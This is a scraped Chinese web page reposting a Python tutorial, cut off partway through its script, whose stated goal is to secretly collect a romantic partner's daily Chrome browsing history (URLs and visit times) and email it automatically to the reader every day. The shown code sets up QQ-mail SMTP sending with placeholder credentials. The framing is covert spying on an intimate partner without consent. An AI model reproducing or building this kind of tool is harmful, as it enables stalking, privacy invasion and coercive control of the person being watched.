Python实时监控网站浏览记录实现过程详解 |
您所在的位置:网站首页 › python读取浏览器的网址 › Python实时监控网站浏览记录实现过程详解 |
需求: (1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中 (2)将这个txt文件发送给指定的邮箱地址(你的邮箱) (3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了 准备 macOS SierraPython3.6Chrome发送邮件的qq邮箱地址 qq邮箱授权码 SMTP服务器地址 : smtp.qq.com 接受邮件的邮箱地址 执行: (1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成 从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中 (2) get_history.py: # -*- coding: utf-8 -*- from email import encoders from email.header import Header from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.utils import parseaddr, formataddr import smtplib import argparse # 1.文件执行的需要的参数(result.txt) parser = argparse.ArgumentParser() parser.add_argument('affix_file',help='the path of the affix') args = parser.parse_args() # 2.格式化一个邮件地址和邮件信息 def _format_addr(s): name, addr = parseaddr(s) return formataddr((Header(name, 'utf-8').encode(), addr)) #连接服务器(这里大家好改成自己的!) from_addr = "[email protected]" #发件人邮箱 password = "xxxxxxxx" #发件人邮箱授权码 to_addr = "[email protected]" #收件人邮箱 smtp_server = "smtp.qq.com" #SMTP服务器地址 #邮件发件人名字、收件人名字、主题 msg = MIMEMultipart() msg['From'] = _format_addr('风一样的女子 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |